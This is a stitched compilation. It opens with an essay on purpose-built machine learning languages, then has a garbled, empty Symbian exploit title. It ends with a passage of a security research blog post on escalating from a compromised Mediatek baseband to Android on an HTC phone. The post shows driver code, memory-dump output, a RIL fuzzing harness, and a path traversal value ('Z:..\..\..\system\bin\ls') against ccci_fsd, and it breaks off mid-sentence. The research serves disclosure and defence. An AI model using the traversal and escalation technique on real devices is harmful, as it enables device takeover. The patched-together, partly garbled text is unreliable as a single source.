Pontus Stenetorp \(UCL\) and Deniz Yuret \(Koç University\)

As programming languages \(PL\) people, we have watched with great interest as
machine learning \(ML\) has exploded – and with it, the complexity of ML
models and the frameworks people are using to build them. State-of-the-art
models are increasingly _programs_ , with support for programming constructs
like loops and recursion, and this brings out many interesting issues in the
tools we use to create them – that is, programming languages.

While machine learning does not yet have a dedicated language, several efforts
are effectively creating hidden new languages underneath a Python API \(like
TensorFlow\) while others are reusing Python as a modelling language \(like
PyTorch\). We’d like to ask – are new ML-tailored languages required, and if
so, why? More importantly, what might the ideal ML language of the future look
like?

## Pig Latin, and Other Hidden Languages

TensorFlow \(TF\) and its ilk2 are already programming languages, albeit
limited ones. This may seem surprising given that one uses Python to program
TF. However, consider that TF requires you to write Python code to build an
expression tree in its internal language, which it then evaluates.

In fact, you can program in “lazy” TensorFlow style in any language. Consider
the following JavaScript code, which implements a trivial function \(`add`\)
in this style:

[code]

    function add(a,b) {
      return `${a}+${b}`;
    }
    x = 1; y = 2
    z = add('x', 'y') // 'x+y'
    eval(z) // 3
    x = 4
    eval(z) // 6
[/code]

Here we are _metaprogramming_ – writing code that writes code. In this case
both the meta-language and the target language are the same \(JavaScript\) but
they could just as well be different languages \(as in the C preprocessor for
the C language\), or we can use a data structure \(an AST\) instead of a
string – the principle is the same. In TensorFlow, Python serves as a meta-
language for writing programs in TF’s graph-based language.3 If you’re not
convinced, consider that TensorFlow’s graph even supports constructs like
variable scoping and control flow – but rather than using Python syntax, you
manipulate these constructs through an API.

TensorFlow and similar tools present themselves as “just libraries”, but they
are extremely unusual ones. Most libraries provide a simple set of functions
and data structures, not an entirely new programming system and runtime. Why
is such a complex approach necessary?

## Why create a new language?

The core reason for building new languages is simple: ML research has
extremely high computational demands, and simplifying the modelling language
makes it easier to add domain-specific optimisations and features. Training
models requires excellent hardware support, good numerics, low interpreter
overhead and multiple kinds of parallelism. Where general-purpose languages
like Python struggle to provide these features, TensorFlow can handle them
seamlessly.

There’s a snag, though. These impressive optimisations rely on simplifying
assumptions \(ML models won’t be recursive, or need custom gradients,
right?\), which make it easier to apply optimisations or deploy to small
devices. Unfortunately for engineers, model complexity has increased and
researchers thoroughly enjoy violating these assumptions. Models now demand
conditional branching \(ok, easy enough to hack in\), loops for recurrence
\(less easy but possible\), and even recursion over trees \(virtually
impossible to deal with\). In many areas of ML, including neural networks and
probabilistic programming, models are becoming increasingly like programs,
including ones that reason about _other_ programs \(e.g. program generators
and interpreters\), and with non-differentiable components like Monte Carlo
Tree Search. It’s enormously challenging to build runtimes that provide
complete flexibility while achieving top performance, but increasingly the
most powerful models and groundbreaking results need both.

<img src='img/Temp2_5793.png' width='610' height='302' />

Using ML with complex tree-structured data, like the Stanford Sentiment
Treebank, requires differentiable, recursive algorithms.

Another practical downside of this approach, at least in its current
incarnations, is the need for meta-programming of the kind discussed above.
Building and evaluating expression trees imposes significant additional
burdens on both the programmer and the compiler. It becomes tricky to reason
about because the code now has two execution times, each with different
language semantics, and things like step-through debugging are much harder.
This could be resolved by creating a syntactic language for the new runtime,
but this means no less than creating a full new programming language. Is this
worthwhile when we have popular numerical languages already?

## Can we just use Python?

As ML models began to need the full power of a programming language, Chainer
and others pioneered a “define-by-run” approach wherein a Python program is
itself the model, using runtime automatic differentiation \(AD\) for
derivatives. This is fantastic from a usability standpoint: If you want a
recursive model that operates over trees, simply write that down, and let the
AD do its magic\! The difference in feel is hard to overstate, and a
frictionless approach to playing with novel ideas is invaluable to research.

However, getting Python to scale to ML’s heavy computational demands is far
harder than you might expect. A huge amount of work goes into replicating
optimisations that fast languages get for free, and the PL boneyard is full of
high-profile yet failed efforts to make Python faster. Python’s semantics also
make it fundamentally difficult to provide model-level parallelism or compile
models for small devices.

Efforts like Gluon for MXNet are finding ways to get the best of both, at
least to some extent. The idea is to combine basic dynamic AD with code-
tracing approaches that produce “static sub-graphs” that can be optimised.
This is unfortunately something of a mashing together of disparate
implementations and APIs. It’s also limited; MXNet uses its graph not just for
kernel-level optimisations but also for high-level graph scheduling, such as
splitting a model across multiple GPUs. It’s unclear how these hybrids will
handle this, other than by adding another new API for graph containers whose
nodes can be dynamic computations.

## What might a tailor-made ML language look like?

There are few domains as demanding about language-level design issues as
machine learning. But it’s not unprecedented, and in areas like formal
reasoning and verification or cluster computing, new, tailor-made languages
have proved an effective solution. Similarly, we expect to see new or existing
languages customised for the kind of numerical, differentiable, parallelisable
and even probabilistic computations needed in ML.

An obvious current challenge for ML languages is achieving generality
alongside performance, and the early hybrid approaches will need much more
development. We expect that future ML runtimes will need to support arbitrary
mixing of approaches \(computational graphs that are static within dynamic
within static …\) and will need to get better at compiling dynamic code for
deployment. Ideally, there will only be single, flexible “graph format” \(or
AST\). The AST should have a syntax and statically describe dynamic behaviour
\(e.g. with a written `for` loop\) – in other words, it should look a lot more
like a standard programming language.

_Programmable semantics_ would open up new levels of flexibility, and could be
provided by a feature similar to macros. This would allow features like multi-
GPU training to be built on top of the core system, by specifying where the
code should have pure dataflow semantics \(as opposed to standard imperative
semantics, which are more flexible but may include side-effects that are
unsafe to optimise\). It could also allow the kinds of program manipulation
needed by probabilistic programming languages, or the vectorisation
\(batching\) passes usually implemented by hand in NLP models.

As well as the PL community, ML engineers should pay close attention to the
traditional Automatic Differentiation \(AD\) community. ML languages can take
inspiration from pioneering work on languages designed for truly first-class
derivative support. Such languages can easily mix symbolic with runtime
techniques \(helping with the tradeoffs mentioned above\), mix forward and
reverse mode AD \(for improved performance and memory usage\), and
differentiate GPU kernels – all with no loss in performance.

ML research will increasingly need more powerful type systems, user-defined
types and more means for extension. Gone are the days when it was enough to
hard-code support for strided arrays on NVIDIA GPUs; cutting-edge techniques
like sparse machine learning, new hardware like TPUs, Nervana and FPGAs, and
diverse deployment targets like ARM chips or the iPhone’s CoreML chip all call
for greater levels of flexibility. Large-scale refactoring of core C++ code
for each new development will not scale.

Consider a world where adding new hardware support – or new kinds of data
representations – could easily be accomplished by a user in high-level code,
without changes to the original system. Here we expect ML systems to take
inspiration from existing numerical computing languages, which can already
handle these tasks with ease.

Type systems can also have safety benefits, but current ones are not suited to
array-heavy code where array dimensions are meaningful \(for example, spatial
vs channel vs batch dimensions in images\). These distinctions are left to
pure convention, and hairy dimension-permuting code has no protection from
mistakes, leaving much room for more array-aware type systems. We expect the
trend towards dynamic typing to continue,4 mainly due to practitioners’
preference for interactivity and scripting, but hope to see further
innovations like CNTK’s optionally dynamic dimensions.

ML engineers are increasingly interested in traditional software engineering
problems like the maintenance and extension of production systems. The ML
programming model makes it harder to create abstraction barriers and
interfaces between components, and re-training of a model can easily break
backwards compatibility. ML languages will likely be able to incorporate
solutions to these problems just as regular languages do, but this remains an
open design problem.

<img src='img/machine_learning_2x.png' width='296' height='350px' />

Software Engineering 2.0? _\(via XKCD\)_

A downside to any new language is that it require a new library ecosystem, as
only code written for the new runtime benefits from it. For example, rather
than reusing the Python ecosystem, the TensorFlow developers need to rewrite
libraries for tasks like image processing and file IO in the graph language,
throwing out the vast effort behind projects like SciPy. This may well be the
only way forward, but ML practitioners should not split from the wider
numerical and HPC community. An ideal ML ecosystem is an ideal numerical one,
and vice versa, and collaboration between these communities will multiply
everyone’s efforts.

We expect to see these developments coming from several angles. Graph IRs and
formats like XLA, ONNX and NNVM are becoming ever more sophisticated and will
likely take more inspiration from traditional language design,5 perhaps even
adding surface syntax to become fully-fledged programming languages.
TensorFlow’s XLA has started a push towards special-purpose compiler stacks
that now includes TVM, DLVM, myelin, and other ongoing work. Meanwhile,
projects like the PyTorch JIT, Gluon and Tangent are efforts to make Python
itself a better modelling language, in spite of the significant challenges.
Having just argued that ML is a numerical programming languages problem, we in
the Julia community feel that it is an excellent substrate for experimenting
with these kinds of language-level issues, and will continue to push the
boundaries with projects like Knet, Flux, Cassette, CUDAnative, DataFlow.jl,
and more.

## Conclusion: An Inference about Machine Learning

Machine learning models have become extremely general information-processing
systems that build ever higher-level and more complex abstractions;
recurrence, recursion, higher-order models, even stack machines and language
interpreters, all implemented as compositions of basic components. ML is a new
programming paradigm, albeit a strange one that’s heavily numerical,
differentiable and parallel. And as in any engineering field, the tooling
available will have a profound impact on the scope and quality of future work.

All this suggests that designers of ML systems have a momentous challenge
ahead of them. But while that’s true, there’s some good news: The very same
problems have been deeply explored, if not already solved, by language
researchers over the last few decades\! To really take this new field to its
full potential, the machine learning and programming languages communities
will have to combine forces, and the real challenge is to integrating the
disparate expertise of these two groups.

Can we build systems that treat numerics, derivatives and parallelism as
first-class features, without sacrificing traditional programming ideas and
wisdom? This is the foundational question which languages over the coming
decade will have to answer.

  1. After Philip Greenspun ↩
  2. We use TensorFlow for example, but could substitute other “define-before-run” frameworks like CNTK or MXNet. ↩
  3. TensorFlow’s graph is effectively a dataflow-based AST \(Abstract Syntax Tree\). ↩
  4. Though we note that, internally, current systems span the gamut from fully dynamic \(PyTorch and its ATen backend\) to unusually static \(TensorFlow’s XLA and MXNet, where all dimensions are known before the graph is run\). ↩
  5. Google Brain’s increasing hiring of programming languages experts, such as Chris Lattner, is an interesting development on this point. ↩

  

# FROM 0 TO 0DAY ON SY FROM 0 TO 0DAY ON SYMBIANMBIAN

**Created:**| _10/24/2010 6:35:18 PM_  
---|---  
**Updated:**| _10/24/2010 6:35:47 PM_  
**Author:**| __  
**Tags:**| _Exploit report reversing Malware-analysis mobile/embedded_  
  
<img src='img/Temp2_3085' />

# Comsecuris Security Research & Consulting Blog

**Created:**| _9/4/2017 9:41:58 AM_  
---|---  
**Updated:**| _9/4/2017 9:41:58 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Path of Least Resistance: Cellular Baseband to Application Processor
Escalation on Mediatek Devices

Fri, Jul 28, 2017 György Miru

__ reversing, exploitation, baseband, rfs, modem, mediatek, htc, mobile,
android

  * __
  * __
  * __
  * __
  * __

# Intro

Today’s mobile systems are composed of multiple separate, but highly
interconnected processing units, each running their own code. Previous
research has proven that these components, especially the wireless baseband
processors, are susceptible to remote or vicinity attacks. Such exploits have
been demonstrated in practice against all major baseband SoC vendors during
the last few years. Compromising the baseband \(modem or MD as referred to in
MTK source code\) is a powerful attack as it provides access to all data
passing through the modem while being virtually undetectable by current
protection mechanisms. Yet it has its limitations in terms of persistence and
usefulness: obviously such a compromise provides no access to client side
encrypted data or data transmitted through other channels.

A natural next step in the evolution of these types of attacks is to elevate
code execution and compromise other processing units, most importantly the
application processor \(AP\). The advantage of attacking the AP through other
components is that they can provide a less audited, less secure attack
surface. The operating systems running on the application processor are
usually equipped with modern defense and exploit mitigation mechanisms, which
are continuously being improved, to raise the cost of exploitation. Contrary,
other embedded components – such as cellular basebands that are less exposed
to end users and traditional attack vectors – historically often received less
scrutiny by the security community and vendors.

This research aims to provide a methodology to assess and audit interfaces
between the different processing units, by following a case study for the
**HTC One M9+** with a Mediatek chipset and assuming the compromise of the 3G
modem. First, the communication channels between the modem and other
components are explored and the Android kernel driver, which is responsible
for the baseband firmware loading, is investigated. After the general
architecture and the communication landscape is introduced, examples are
provided for the vulnerability assessment of user space applications that
consume data from the modem. These examples include manual investigation
\(dissecting the remote file system driver\) and automated discovery \(fuzzing
the vendor RIL\). Furthermore, I developed a proof of concept exploit for a
path traversal vulnerability found in the remote file system driver. The PoC
can be utilized to take over the Android system from the compromised baseband.
I will walk you through the PoC and the steps in developing it, including the
reverse engineering process of the MTK baseband firmware. Finally, in an
attempt to complete the exploit chain I also explain how the object files of
the baseband firmware’s GSM stack can be fuzzed.

Since this research was carried out, Gal Beniamini from Google’s Project Zero
published an excellent article about compromising Broadcom Wi-Fi chips and
elevating access to the application processor. His work also further indicates
that these are not isolated cases and not specific to certain vendors. Rather
they are examples of design issues in modern \(mobile\) operating systems,
namely that OS-es inherently trusts the intent and integrity of other
processing components and do very little to defend from them.

The research has been conducted during my three months internship at
Comsecuris and it has proven to be an exciting introduction to the low level
security concerns of mobile platforms. Here, I would like to thank Ralf-
Philipp Weinmann, Nico Golde and Daniel Komaromy for this incredible
opportunity and the valuable insight they have provided throughout the
research.

### Disclosure Timeline

  * 14/11/2016 - Vulnerability disclosed to MTK \(no response after multiple requests\)
  * 14/11/2016 - Vulnerability disclosed to HTC
  * 18/11/2016 - Vulnerability disclosed to Google \(as Lava Pixel phones are also effected\)
  * 28/11/2016 - HTC confirms that they informed the vendor
  * 06/12/2016 - HTC reports that the issue is fixed and deployed to product lines
  * 10/02/2017 - Google asks for further clarification, no response ever since \(issue is still open\)

I was not able to verify how Mediatek fixed the issue, whether they published
the fixes to all their costumers and whether these fixes made it into fielded
devices.

# The Mediatek Landscape

The first step of the research is gathering knowledge about the baseband
processor and the low level architecture of the platform. The HTC One M9+ is
shipped with a MediaTek MT6795T SoC \(codenamed Helio X10\) that contains an
octa-core application processor \(Cortex A53 ARMv8\) and the integrated modem
CPU. Unfortunately, MTK chips received less attention from the security
research community than their competitors \(Qualcomm’s Snapdragon and
Samsung’s Shannon chipsets\), yet a quick search on the Internet provides
valuable resources. There is an abundance of leaked MTK datasheets, albeit for
different or older chipsets \(MT6595, MT6782, etc.\) and they contain a high
level overview of the SoC layout. Furthermore, Markus Vervier has written an
article on attacks that enable active cloning of mobile identities and
provides additional details about the Mediatek modem firmware.

According to the MTK documents, the modem system is composed of a DSP and an
ARMv7 Cortex-R4 MCU. Both reside within the same chip as the application
processor. The DSP implements the physical layer of the cellular baseband
stack and is out of the scope for this post \(when I talk about the modem or
baseband processor I refer to the MCU\). The ARMv7 core runs the baseband
firmware and implements the different cellular data-link and network layer
protocols.

To establish the possible attack surface from the modem’s point of view, we
need to discover and understand the various communication channels between the
AP and MD. We also need to identify the respective software components on the
AP side, which consume data from the modem. A good place to start looking is
the CCCI \(Cross Core Communication Interface\) kernel driver, which is
responsible for the management and supervision of the baseband processor as
well as the data exchanges between AP and MD. The bulk of the underlying
Android kernel source code, including its drivers, is publicly available. The
source code can be downloaded from HTC’s website. The relevant files are
located within `drivers/misc/mediatek/eccci/` and
`drivers/misc/mediatek/[dual_]ccci/` directories as part of the kernel source
tree.

The CCCI driver comprises the CCIF subsystem, which contains the code to set
up the low level communication interface between the application processor and
the modem. This includes initializing the UART lines, which are mostly used to
transmit AT commands and audio data, and setting up a shared memory region
that is used to exchange data and control commands. The shared memory is
divided into sub regions dedicated to certain tasks for transmitting various
IPC commands, modem log entries, remote files and so on. Each of these memory
regions are divided into a separate transmit and receive channel and access to
these is controlled by a dedicated signal area. The signal area is used as a
sort of flow or access control channel to indicate when new data is available
in the shared memory buffer or when it has been received by the other party.

The remainder of the CCCI driver provides unified access to these channels
\(including the shared memory and the UART channels\) through its own ring
buffer implementation. These ring buffers are exposed to the user-space
Mediatek binaries through a set of character drivers providing IOCTLs system
call handlers. Figure 1 depicts this architecture, including the modem side of
the CCCI driver. Most of the logic regarding the management of the modem and
processing of its data is implemented in the user-space applications. The
kernel driver merely functions as a communication interface \(as its name
suggests\) that controls the communication channels between the modem and the
AP.

<img src='img/Temp2_1577.png' width='821' height='541' />

#### Figure 1: CCCI Overview

The other main responsibility of the kernel driver is the actual setup and
bring-up of the baseband MCU. This task is initiated and supervised by the
user-space `ccci_mdinit` binary, but carried out by the driver. The initial
setup and first boot involves the following steps:

  * Initialize hardware
  * Populate the modem control structure \(including the memory addresses for shared memory, modem ROM and RAM\) and register callbacks
  * Register the modem and configure its memory areas
  * When the actual boot is triggered: 
    * The firmware image is loaded \(this is going to be discussed in detail later\)
    * The modem is powered on
    * The modem is started
    * The MPU protection is set up
    * The runtime data is sent to the modem

<img src='img/Temp2_1578.png' width='821' height='511' />

#### Figure 2: Modem Bootup

The most interesting part for us is how the memory is set up for the modem by
the CCCI driver. Part of the applications processor’s physical memory is
reserved for the modem to serve as a RAM, ROM, and the shared memory for the
inter chip communication. The baseband firmware image is loaded into the ROM
area and parts of it \(mostly its data section\) into the RAM. Below is a code
snippet of how the modem handler and the memory protection is set up for these
regions \(the actual protection flags will be discussed later\).

[code]

    void ccci_config_modem(struct ccci_modem *md)
    {
        //...
    
        // Get memory info
    	get_md_resv_mem_info(md->index, &md_resv_mem_addr, &md_resv_mem_size, &md_resv_smem_addr, &md_resv_smem_size);
    	// setup memory layout
    	// MD image
    	md->mem_layout.md_region_phy = md_resv_mem_addr;
    	md->mem_layout.md_region_size = md_resv_mem_size;
    	md->mem_layout.md_region_vir = ioremap_nocache(md->mem_layout.md_region_phy, MD_IMG_DUMP_SIZE); // do not remap whole region, consume too much vmalloc space 
    	// DSP image
    	md->mem_layout.dsp_region_phy = 0;
    	md->mem_layout.dsp_region_size = 0;
    	md->mem_layout.dsp_region_vir = 0;
    	// Share memory
    	md->mem_layout.smem_region_phy = md_resv_smem_addr;
    	md->mem_layout.smem_region_size = md_resv_smem_size;
    	md->mem_layout.smem_region_vir = ioremap_nocache(md->mem_layout.smem_region_phy, md->mem_layout.smem_region_size);
    	memset(md->mem_layout.smem_region_vir, 0, md->mem_layout.smem_region_size);
        //...
    }
    
    void ccci_set_mem_access_protection(struct ccci_modem *md)
    {
        //...
    	rom_mem_phy_start = (unsigned int)md_layout->md_region_phy;
    	rom_mem_phy_end   = ((rom_mem_phy_start + img_info->size + 0xFFFF)&(~0xFFFF)) - 0x1;
    	rw_mem_phy_start  = rom_mem_phy_end + 0x1;
    	rw_mem_phy_end	  = rom_mem_phy_start + md_layout->md_region_size - 0x1;
    	shr_mem_phy_start = (unsigned int)md_layout->smem_region_phy;
    	shr_mem_phy_end   = ((shr_mem_phy_start + md_layout->smem_region_size + 0xFFFF)&(~0xFFFF)) - 0x1;
    	
    	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD ROM region<%d:%08x:%08x> %x\n", 
                                  	rom_mem_mpu_id, rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_attr);
    	emi_mpu_set_region_protection(rom_mem_phy_start,	  
    									rom_mem_phy_end,      
    									rom_mem_mpu_id,       
    									rom_mem_mpu_attr);
    
    	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD R/W region<%d:%08x:%08x> %x\n", 
                                  	rw_mem_mpu_id, rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_attr);
    	emi_mpu_set_region_protection(rw_mem_phy_start,		  
    									rw_mem_phy_end,       
    									rw_mem_mpu_id,        
    									rw_mem_mpu_attr);
    
    	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD Share region<%d:%08x:%08x> %x\n", 
                                  	shr_mem_mpu_id, shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_attr);
    	emi_mpu_set_region_protection(shr_mem_phy_start,	  
    									shr_mem_phy_end,      
    									shr_mem_mpu_id,       
    									shr_mem_mpu_attr);
        //...
    }
    
[/code]

This kind of setup suggests that the external memory \(the DRAM\) is shared
across the AP and MD with a multiport memory controller, but they have a
different view of the memory. The interested reader can learn more about the
different shared memory solutions for SoCs in this article. The baseband MCU
has its own address space, however, the shared memory can be remapped on both
sides to lie at the same address. In our case, the address is different: the
shared memory is mapped to a constant 0x40000000 address on modem side while
it remains at the original physical address on the AP side. The AP uses the
offset between this physical and the remapped modem address to adjust the
different pointers, written to the shared memory, as they are treated as
absolute memory addresses on the modem side. In the same function the ROM is
also remapped to be on the zero address for the modem.

[code]

    remainder = smem_offset % 0x02000000;
    md->mem_layout.smem_offset_AP_to_MD = md->mem_layout.smem_region_phy - (remainder + 0x40000000);
    set_md_smem_remap(md, 0x40000000, md->mem_layout.md_region_phy + (smem_offset-remainder), invalid); 
    CCCI_INF_MSG(md->index, TAG, "AP to MD share memory offset 0x%X", md->mem_layout.smem_offset_AP_to_MD);
    
    set_md_rom_rw_mem_remap(md, 0x00000000, md->mem_layout.md_region_phy, invalid);
    
[/code]

The key takeaway is that the ROM and RAM of the baseband RTOS is present in
the application processor’s memory, thus it has access to it. The AP serves as
a sort of master to the MD and can power-cycle the modem and access some of
its registers to set up the initial memory mappings. This means a kernel
module can be used to retrieve a handle to the modem struct, read the
addresses of these memory regions and dump their content. Below is the output
of such tool:

[code]

    Sending ioctl: 8008d200
    [md_dump] modem 0 info MD:lwg*MT6795_S00**2015/05/05 18:19*Release
    AP:lwg*MT6795E1*08000000 (MD)07a00000
    
    [md_dump] modem 1 info
    [md_dump] modem 2 info
    [md_dump] modem 3 info
    [md_dump] modem 4 info
    [md_dump] modem 5 info
    
    Sending ioctl: 8008d201
    [md_dump] driver used by modem: ECCI@
    Sending ioctl: 8008d202
    [md_dump]----dumping modem info----
    [md_dump] Modem 0 at: ffffffc0a6848000
    [md_dump] Rom:
    [md_dump]       Phys start: e8000000
    [md_dump]       Virt start: ffffff8000792000
    [md_dump]       size: 8c3aac
    [md_dump] Ram:
    [md_dump]       Phys start: e88d0000
    [md_dump]       Virt start: ffffff8001060000
    [md_dump]       size: 7730000
    [md_dump] Shm:
    [md_dump]       Phys start: f0000000
    [md_dump]       Virt start: ffffff8000800000
    [md_dump]       size: 200000
    [md_dump]       offset to MD: b0000000
    [md_dump] CCIF base: 0
    [md_dump] SIM type: eeeeeeee
    [md_dump]----End of Dump----
    
[/code]

To dump the actual content of these memory regions the physical addresses must
be used as they are only partially present in the kernel’s virtual address
space. If we wish to access the RAM, one more step is required as it is
protected from the AP by the External Memory Interface’s \(EMI\) MPU. This
protection can be removed by calling the `ccci_clear_md_region_protection`
routine, which wipes the MPU protection from the modem memory regions. With
the help of the same kernel module and `/dev/mem` it is possible to monitor
the communication between the modem and the AP and to inject arbitrary
commands.

# Bug Hunting

Now that we have a general idea about what kind of data is controlled by the
modem and how it is processed, it is time to look for bugs that can be
leveraged to gain code execution. The CCCI kernel driver is a tempting target
as a vulnerability there would potentially grant complete control over the
Android system. However, it mostly serves as a gateway between the modem and
the user-space applications without processing most of the data, which
significantly reduces the attack surface. This of course does not guarantee
that there are no vulnerabilities in the kernel driver, but I decided to focus
my attention on the user-space applications as they appeared to be the easier
targets.

There is just one low hanging fruit that must be investigated before moving on
to the user-space. With this kind of shared memory model if the EMI MPU is not
configured correctly the modem could potentially write into the kernel address
space, which can lead to an easy compromise. Let’s take a closer look at how
the EMI MPU protection is set up \(only relevant parts of the source code are
shown\):

[code]

    #define SET_ACCESS_PERMISSON(d3, d2, d1, d0) (((d3) << 9) | ((d2) << 6) | ((d1) << 3) | (d0))
    
    rom_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, SEC_R_NSEC_R, SEC_R_NSEC_R);
    rw_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, FORBIDDEN);
    shr_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, NO_PROTECTION);			
    ap_mem_mpu_attr = SET_ACCESS_PERMISSON(NO_PROTECTION, FORBIDDEN, SEC_R_NSEC_R, NO_PROTECTION);
    
    CCCI_INF_MSG(md->index, TAG, "MPU Start protect AP region<%d:%08x:%08x> %x\n",
                                ap_mem_mpu_id, kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_attr); 
    emi_mpu_set_region_protection(kernel_base,
                                  (kernel_base+dram_size-1),
                                  ap_mem_mpu_id,
                                  ap_mem_mpu_attr);
    
[/code]

The leaked MTK documents help significantly with deciphering what we see here.
Domain 0 is identified as the application processor domain, domain 1 is
dedicated for the modem MCU, while domain 2 controls the DSP, and finally
domain 3 is associated with the multimedia engine. With that information in
mind we can see that the MD ROM address range is readable by the AP and the MD
in secure mode, the RAM is only accessible to the modem and shared memory is
available to both of them. Unfortunately, the rest of the physical DRAM
\(starting from the Android kernel base\) is only readable by the MD so direct
overwrite of the kernel is not possible.

As previously shown in Figure 1, there are quite a number of user space
application that utilize the modem services. Auditing all of them is a really
ambitious task as some of them are quite large and source code is generally
not available. Due to the limited time frame of my internship and therefore
the research, I decided to investigate the two most promising candidates.

The Radio Interface Layer \(RIL\) daemon is responsible for the messaging
between the Android telephony services and the modem hardware. It includes a
vendor RIL portion, which provides vendor-specific glue code between Android
RIL and proprietary modem interfaces. Its duties include the dispatching of
_unsolicited commands_. These commands are initiated by the modem on certain
events and parsed by the vendor RIL library. The structure of these commands
comply with the traditional Hayes AT command format with proprietary
extensions that can get fairly complex in detail. This means that the modem
can send controlled data at arbitrary times that is going to be parsed as AT
commands by the vendor RIL implementation. Because of this the RIL library
serves as an excellent target for fuzzing.

The second promising candidate is the `ccci_fsd` application, which provides a
remote virtual file system for the modem to store persistent configuration
files. The modem does not have its own file system. Furthermore, it does not
have direct access to any non volatile memory. This necessitates that
configuration parameters, which need to be kept across modem reboots, must be
stored on the AP side. The `ccci_fsd` binary and CCCI kernel driver together
provide the NVRAM file system API that is used by the modem to access the
files under `/data/nvram/md` on the AP file system. A common mistake in such
file system implementations is the improper sanitization of path strings
resulting in path traversal vulnerabilities. Such vulnerabilities can easily
be verified by manually reverse engineering the parts of the`ccci_fsd` binary
that handle opening files.

### Fuzzing the Vendor RIL

The MTK RIL implementation is proprietary, however, there are leaked sources
for previous versions. From a quick glance it becomes obvious that the MTK
implementation follows the Android reference RIL closely. This is good news,
because it means that most of the public documentation about RIL applies to
our target. The figure below illustrates how unsolicited commands are
processed usually and what functions are called.

<img src='img/Temp2_1576.png' width='822' height='512' />

#### Figure 3: Command Flow in RIL

On the device, the vendor RIL is implemented in the `mtk-ril.so` library and
just like the reference implementation it receives _unsolicited commands_ in
the `readerLoop` function. The reader loop originally reads from the
`/dev/ttyC0` device or, in case CMUX multiplexing is used, from one of the
pseudo- terminals provided by the `gsm0710muxd` application. These
communication channels can be monitored and modified by setting up a Man-in-
the-Middle pseudo terminal for `/dev/ttyC0` following the steps outlined in
Fabien Sanglard’s article.

The reader loop simply expects a channel description as an argument, which
determines from where commands are read and where they are dispatched. For
fuzzing, we can set up this channel descriptor to read from `STDIN` rather
than PTY devices and then dispatch the commands to the usual handler for
parsing. Setting up the channel is straightforward. Following is an excerpt
from the relevant code \(the complete AFL wrapper is available here\):

[code]

    memset(&channel, 0, sizeof(channel));
    channel.fd = STDIN_FILENO;
    channel.ATBufferCur = channel.ATBuffer;
    channel.myName = "RIL_CMD_READER_1";
    channel.id = 1;
    channel.unsolHandler = (libBase + 0x10AD0); //onUnsolicited
    channel.readerClosed = 0;
    channel.responsePrefix = NULL;
    channel.smsPDU = NULL;
    channel.p_response = NULL;
    channel.tid_reader = syscall(SYS_gettid);
    
    // call reader loop
    printf("[INFO] Starting the event handler\n");
    readerLoop = (libBase + 0x2f020);
    (*readerLoop)((void*)&channel);
    
[/code]

One issue remains before AFL can drive our target: the `readerLoop` reads
commands in an infinite loop which is inconvenient for fuzzing with AFL. As a
workaround, we patch a single instruction at the end of the loop so that the
reader would return after processing the command. In hindsight, it probably
would have been easier to skip the reader loop and directly call the
unsolicited handler, feeding it the AFL input and the fake channel
description.

Due to the limited time available for this research I could not run the fuzzer
extensively. Still, I had a few promising crashes, following up on these is
left to be done in the future.

### Manually Analyzing the ccci\_fsd Binary

As introduced previously, the ccci\_fsd program is used to provide access to
persistent storage to the modem. The CCCI driver is used to transmit the
requests and subsequently reading or writing data, but it is the ccci\_fsd
user space program that ultimately executes the file operations on the AP
system. The concept is further detailed by the Mediatek documentation.

<img src='img/Temp2_1575.png' width='821' height='461' />

#### Figure 4: NVRAM File Transfer with CCCI

The reverse engineering process of the binary is assisted by the significant
amount of Android log messages. A quick glance at the strings tells us that a
conventional file system API is implemented with the usual read, write, open,
close, seek and delete operations. We can set up an `LD_PRELOAD` hook to
monitor the communication \(or simply run `strace` on the application\) and
observe the custom protocol that is used to transmit the file system API
requests and responses through the `ccci_fs` character device:

[code]

    00000000  00 00 00 00 5c 00 00 00  0e 00 b8 04 00 00 00 00  |....\...........|
    00000010  01 10 00 00 02 00 00 00  36 00 00 00 5a 00 3a 00  |........6...Z.:.|
    00000020  5c 00 4e 00 56 00 52 00  41 00 4d 00 5c 00 4e 00  |\.N.V.R.A.M.\.N.|
    00000030  56 00 44 00 5f 00 44 00  41 00 54 00 41 00 5c 00  |V.D._.D.A.T.A.\.|
    00000040  4d 00 54 00 34 00 41 00  5f 00 30 00 30 00 31 00  |M.T.4.A._.0.0.1.|
    00000050  00 00 00 00 04 00 00 00  00 04 01 20 00 00 00 00  |........... ....|
    
[/code]

As shown in the above excerpt of a communication trace, the API uses a DOS-
style path format with drive letters, backslash separators, and uppercase wide
character file and directory names. A quick search for this file on the
Android system reveals that it is located under
`/data/nvram/md/NVRAM/NVD_DATA/MT4A_001` with a set of other similar binary
config files. Next, we need to figure out how the DOS style path is converted
into Unix path and how it is sanitized. Locating the open function in IDA is
trivial due to the high number of log strings and the straightforward code:

<img src='img/Temp2_1581.png' width='528' height='868' />

#### Figure 5: FS\_Open in IDA Pro

The `w16toc_change_path_delim` function copies the received path string to a
stack buffer while converting it from wide character to 8 bit char
representation and replacing backslashes with forward slashes. After that, the
first two characters are checked for containing any of the allowed drive
letters \(Z:, X:, Y: and W:\). If matching, a length check is performed on the
remainder of the path and the associated prefix path. The W: drive is handled
slightly differently as it is used to retrieve the DSP firmware image. Other
drive letter map to certain paths. E.g. Z: maps to `/data/nvram/md`. The final
path string is generated by concatenating the received path and the prefix and
passing the result to the `open` system call.

#### Leveraging the MTK Path Traversal Vulnerability

This means that there is no input sanitization at all, so the modem can get a
handle and potentially overwrite any file on the AP system that the `ccci_fsd`
application has permission to access. As an example the path
`Z:..\..\..\system\bin\ls` is turned into
`/data/nvram/md/../../../system/bin/ls`. However, the system partition is
read-only. The `ccci_fsd` daemon is run as the `radio` user, which is part of
the `system` group and it also has some further restrictions enforced by
SELinux. Dumping the compiled `/sepolicy` file \(by running `sesearch` on it\)
reveals that the binary is restricted to access nvram data files, the ccci
drivers and config files, but also the platform block devices under
